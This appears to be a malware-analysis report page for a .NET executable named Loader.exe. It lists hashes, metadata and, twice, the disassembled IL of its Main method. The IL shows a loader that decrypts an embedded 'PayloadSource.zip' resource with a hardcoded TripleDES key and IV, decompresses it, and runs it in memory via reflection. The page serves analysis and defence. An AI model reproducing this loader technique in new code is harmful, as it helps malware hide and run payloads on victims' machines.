623d6816f8984b9e33b326943b08e3a8

PE Executable

MD5: 623d6816f8984b9e33b326943b08e3a8

Size: 328.7 KB

application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.

Unlock with Essential

Symbol Obfuscation Score Very low

MD5	623d6816f8984b9e33b326943b08e3a8
Sha1	4fd79f037056491af019fe13ffbd5e4f345f0748
Sha256	cdcc2b3acde239f38a8a0d5bc34701d199ea7c839330b9f85c23483523d34425
Sha384	b2446e9bad98c92da9c7b823963b1170f5144487d1d31f8db939d99aae0fd5f9a21148c10e2ea9c9ac4ff4fdba21d59a
Sha512	87a55e78c5b77bcf2510a1c7c33a473488363d979847487e22174ad7695a0bcc96a4575750afc280b963e170affbb69541d11957a0249b9fc95ae68fec4a0232
SSDeep	6144:bvqcyxBwarTXCcHTGVMLxu+H6DGWESIt+z8WC3iH:Tbu3TCIyESY+z8WHH
TLSH	F9648C5813ED8A26E6FE62B4E83D440D47F6F61A612EFB4F1A9410FD6C13B8489017B7

PeID

.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET

Name	Value
Info	PE Detect: PeReader OK (file layout)
Info	PDB Path: ?
Module Name	Loader.exe
Full Name	Loader.exe
EntryPoint	System.Void PCLoader::Main()
Scope Name	Loader.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	Loader
Assembly Version	0.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	5
Main Method	System.Void PCLoader::Main()
Main IL Instruction Count	192
Main IL	call System.Boolean PCLoader::SetProcessDPIAware() pop <null> leave.s IL_000B: call System.AppDomain System.AppDomain::get_CurrentDomain() pop <null> leave.s IL_000B: call System.AppDomain System.AppDomain::get_CurrentDomain() call System.AppDomain System.AppDomain::get_CurrentDomain() ldsfld System.ResolveEventHandler PCLoader/<>O::<0>__R dup <null> brtrue.s IL_002B: callvirt System.Void System.AppDomain::add_AssemblyResolve(System.ResolveEventHandler) pop <null> ldnull <null> ldftn System.Reflection.Assembly PCLoader::R(System.Object,System.ResolveEventArgs) newobj System.Void System.ResolveEventHandler::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.ResolveEventHandler PCLoader/<>O::<0>__R callvirt System.Void System.AppDomain::add_AssemblyResolve(System.ResolveEventHandler) ldtoken PCLoader call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) callvirt System.Reflection.Assembly System.Type::get_Assembly() ldstr PayloadSource.zip callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String) stloc.s V_5 ldloc.s V_5 callvirt System.Int64 System.IO.Stream::get_Length() conv.ovf.i <null> newarr System.Byte stloc.0 <null> ldloc.s V_5 ldloc.0 <null> ldc.i4.0 <null> ldloc.0 <null> ldlen <null> conv.i4 <null> callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32) pop <null> leave.s IL_0074: ldstr "ytiMbA8hiHeUsydcW3xjeLAQEHhbgvhV" ldloc.s V_5 brfalse.s IL_0073: endfinally ldloc.s V_5 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldstr ytiMbA8hiHeUsydcW3xjeLAQEHhbgvhV call System.Byte[] System.Convert::FromBase64String(System.String) stloc.1 <null> ldstr 2Twh8T/aRGM= call System.Byte[] System.Convert::FromBase64String(System.String) stloc.2 <null> call System.Security.Cryptography.TripleDES System.Security.Cryptography.TripleDES::Create() stloc.s V_6 ldloc.s V_6 ldloc.1 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Key(System.Byte[]) ldloc.s V_6 ldloc.2 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_IV(System.Byte[]) ldloc.s V_6 ldc.i4.1 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Mode(System.Security.Cryptography.CipherMode) ldloc.s V_6 ldc.i4.2 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Padding(System.Security.Cryptography.PaddingMode) ldloc.s V_6 callvirt System.Security.Cryptography.ICryptoTransform System.Security.Cryptography.SymmetricAlgorithm::CreateDecryptor() stloc.s V_7 ldloc.s V_7 ldloc.0 <null> ldc.i4.0 <null> ldloc.0 <null> ldlen <null> conv.i4 <null> callvirt System.Byte[] System.Security.Cryptography.ICryptoTransform::TransformFinalBlock(System.Byte[],System.Int32,System.Int32) stloc.3 <null> leave.s IL_00E1: ldloc.3 ldloc.s V_7 brfalse.s IL_00D4: endfinally ldloc.s V_7 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_6 brfalse.s IL_00E0: endfinally ldloc.s V_6 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.3 <null> ldc.i4.4 <null> ldloc.3 <null> ldlen <null> conv.i4 <null> ldc.i4.4 <null> sub <null> newobj System.Void System.IO.MemoryStream::.ctor(System.Byte[],System.Int32,System.Int32) stloc.s V_8 ldloc.s V_8 ldc.i4.0 <null> newobj System.Void System.IO.Compression.GZipStream::.ctor(System.IO.Stream,System.IO.Compression.CompressionMode) stloc.s V_9 newobj System.Void System.IO.MemoryStream::.ctor() stloc.s V_10 ldc.i4 4096 newarr System.Byte stloc.s V_11 br.s IL_011A: ldloc.s V_9 ldloc.s V_10 ldloc.s V_11 ldc.i4.0 <null> ldloc.s V_12 callvirt System.Void System.IO.Stream::Write(System.Byte[],System.Int32,System.Int32) ldloc.s V_9 ldloc.s V_11 ldc.i4.0 <null> ldloc.s V_11 ldlen <null> conv.i4 <null> callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32) dup <null> stloc.s V_12 ldc.i4.0 <null> bgt.s IL_010E: ldloc.s V_10 ldloc.s V_10 callvirt System.Byte[] System.IO.MemoryStream::ToArray() stloc.s V_4 leave.s IL_015D: ldloc.s V_4 ldloc.s V_10 brfalse.s IL_0144: endfinally ldloc.s V_10 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_9 brfalse.s IL_0150: endfinally ldloc.s V_9 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_8 brfalse.s IL_015C: endfinally ldloc.s V_8 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_4 call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) callvirt System.Type[] System.Reflection.Assembly::GetTypes() stloc.s V_13 ldc.i4.0 <null> stloc.s V_14 br.s IL_01CB: ldloc.s V_14 ldloc.s V_13 ldloc.s V_14 ldelem.ref <null> ldc.i4.s 26 callvirt System.Reflection.MethodInfo[] System.Type::GetMethods(System.Reflection.BindingFlags) stloc.s V_15 ldc.i4.0 <null> stloc.s V_16 br.s IL_01BD: ldloc.s V_16 ldloc.s V_15 ldloc.s V_16 ldelem.ref <null> stloc.s V_17 ldloc.s V_17 callvirt System.Type System.Reflection.MethodInfo::get_ReturnType() ldtoken System.Void call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Boolean System.Type::op_Equality(System.Type,System.Type) brfalse.s IL_01B7: ldloc.s V_16 ldloc.s V_17 callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters() ldlen <null> brtrue.s IL_01B7: ldloc.s V_16 ldloc.s V_17 ldnull <null> ldnull <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> ret <null> ldloc.s V_16 ldc.i4.1 <null> add <null> stloc.s V_16 ldloc.s V_16 ldloc.s V_15 ldlen <null> conv.i4 <null> blt.s IL_0183: ldloc.s V_15 ldloc.s V_14 ldc.i4.1 <null> add <null> stloc.s V_14 ldloc.s V_14 ldloc.s V_13 ldlen <null> conv.i4 <null> blt.s IL_0170: ldloc.s V_13 ret <null>
Module Name	Loader.exe
Full Name	Loader.exe
EntryPoint	System.Void PCLoader::Main()
Scope Name	Loader.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	Loader
Assembly Version	0.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	5
Main Method	System.Void PCLoader::Main()
Main IL Instruction Count	192
Main IL	call System.Boolean PCLoader::SetProcessDPIAware() pop <null> leave.s IL_000B: call System.AppDomain System.AppDomain::get_CurrentDomain() pop <null> leave.s IL_000B: call System.AppDomain System.AppDomain::get_CurrentDomain() call System.AppDomain System.AppDomain::get_CurrentDomain() ldsfld System.ResolveEventHandler PCLoader/<>O::<0>__R dup <null> brtrue.s IL_002B: callvirt System.Void System.AppDomain::add_AssemblyResolve(System.ResolveEventHandler) pop <null> ldnull <null> ldftn System.Reflection.Assembly PCLoader::R(System.Object,System.ResolveEventArgs) newobj System.Void System.ResolveEventHandler::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.ResolveEventHandler PCLoader/<>O::<0>__R callvirt System.Void System.AppDomain::add_AssemblyResolve(System.ResolveEventHandler) ldtoken PCLoader call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) callvirt System.Reflection.Assembly System.Type::get_Assembly() ldstr PayloadSource.zip callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String) stloc.s V_5 ldloc.s V_5 callvirt System.Int64 System.IO.Stream::get_Length() conv.ovf.i <null> newarr System.Byte stloc.0 <null> ldloc.s V_5 ldloc.0 <null> ldc.i4.0 <null> ldloc.0 <null> ldlen <null> conv.i4 <null> callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32) pop <null> leave.s IL_0074: ldstr "ytiMbA8hiHeUsydcW3xjeLAQEHhbgvhV" ldloc.s V_5 brfalse.s IL_0073: endfinally ldloc.s V_5 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldstr ytiMbA8hiHeUsydcW3xjeLAQEHhbgvhV call System.Byte[] System.Convert::FromBase64String(System.String) stloc.1 <null> ldstr 2Twh8T/aRGM= call System.Byte[] System.Convert::FromBase64String(System.String) stloc.2 <null> call System.Security.Cryptography.TripleDES System.Security.Cryptography.TripleDES::Create() stloc.s V_6 ldloc.s V_6 ldloc.1 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Key(System.Byte[]) ldloc.s V_6 ldloc.2 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_IV(System.Byte[]) ldloc.s V_6 ldc.i4.1 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Mode(System.Security.Cryptography.CipherMode) ldloc.s V_6 ldc.i4.2 <null> callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Padding(System.Security.Cryptography.PaddingMode) ldloc.s V_6 callvirt System.Security.Cryptography.ICryptoTransform System.Security.Cryptography.SymmetricAlgorithm::CreateDecryptor() stloc.s V_7 ldloc.s V_7 ldloc.0 <null> ldc.i4.0 <null> ldloc.0 <null> ldlen <null> conv.i4 <null> callvirt System.Byte[] System.Security.Cryptography.ICryptoTransform::TransformFinalBlock(System.Byte[],System.Int32,System.Int32) stloc.3 <null> leave.s IL_00E1: ldloc.3 ldloc.s V_7 brfalse.s IL_00D4: endfinally ldloc.s V_7 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_6 brfalse.s IL_00E0: endfinally ldloc.s V_6 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.3 <null> ldc.i4.4 <null> ldloc.3 <null> ldlen <null> conv.i4 <null> ldc.i4.4 <null> sub <null> newobj System.Void System.IO.MemoryStream::.ctor(System.Byte[],System.Int32,System.Int32) stloc.s V_8 ldloc.s V_8 ldc.i4.0 <null> newobj System.Void System.IO.Compression.GZipStream::.ctor(System.IO.Stream,System.IO.Compression.CompressionMode) stloc.s V_9 newobj System.Void System.IO.MemoryStream::.ctor() stloc.s V_10 ldc.i4 4096 newarr System.Byte stloc.s V_11 br.s IL_011A: ldloc.s V_9 ldloc.s V_10 ldloc.s V_11 ldc.i4.0 <null> ldloc.s V_12 callvirt System.Void System.IO.Stream::Write(System.Byte[],System.Int32,System.Int32) ldloc.s V_9 ldloc.s V_11 ldc.i4.0 <null> ldloc.s V_11 ldlen <null> conv.i4 <null> callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32) dup <null> stloc.s V_12 ldc.i4.0 <null> bgt.s IL_010E: ldloc.s V_10 ldloc.s V_10 callvirt System.Byte[] System.IO.MemoryStream::ToArray() stloc.s V_4 leave.s IL_015D: ldloc.s V_4 ldloc.s V_10 brfalse.s IL_0144: endfinally ldloc.s V_10 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_9 brfalse.s IL_0150: endfinally ldloc.s V_9 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_8 brfalse.s IL_015C: endfinally ldloc.s V_8 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_4 call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) callvirt System.Type[] System.Reflection.Assembly::GetTypes() stloc.s V_13 ldc.i4.0 <null> stloc.s V_14 br.s IL_01CB: ldloc.s V_14 ldloc.s V_13 ldloc.s V_14 ldelem.ref <null> ldc.i4.s 26 callvirt System.Reflection.MethodInfo[] System.Type::GetMethods(System.Reflection.BindingFlags) stloc.s V_15 ldc.i4.0 <null> stloc.s V_16 br.s IL_01BD: ldloc.s V_16 ldloc.s V_15 ldloc.s V_16 ldelem.ref <null> stloc.s V_17 ldloc.s V_17 callvirt System.Type System.Reflection.MethodInfo::get_ReturnType() ldtoken System.Void call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Boolean System.Type::op_Equality(System.Type,System.Type) brfalse.s IL_01B7: ldloc.s V_16 ldloc.s V_17 callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters() ldlen <null> brtrue.s IL_01B7: ldloc.s V_16 ldloc.s V_17 ldnull <null> ldnull <null> callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[]) pop <null> ret <null> ldloc.s V_16 ldc.i4.1 <null> add <null> stloc.s V_16 ldloc.s V_16 ldloc.s V_15 ldlen <null> conv.i4 <null> blt.s IL_0183: ldloc.s V_15 ldloc.s V_14 ldc.i4.1 <null> add <null> stloc.s V_14 ldloc.s V_14 ldloc.s V_13 ldlen <null> conv.i4 <null> blt.s IL_0170: ldloc.s V_13 ret <null>

No malware configuration was found at this point.

You must be signed in to view YARA rules.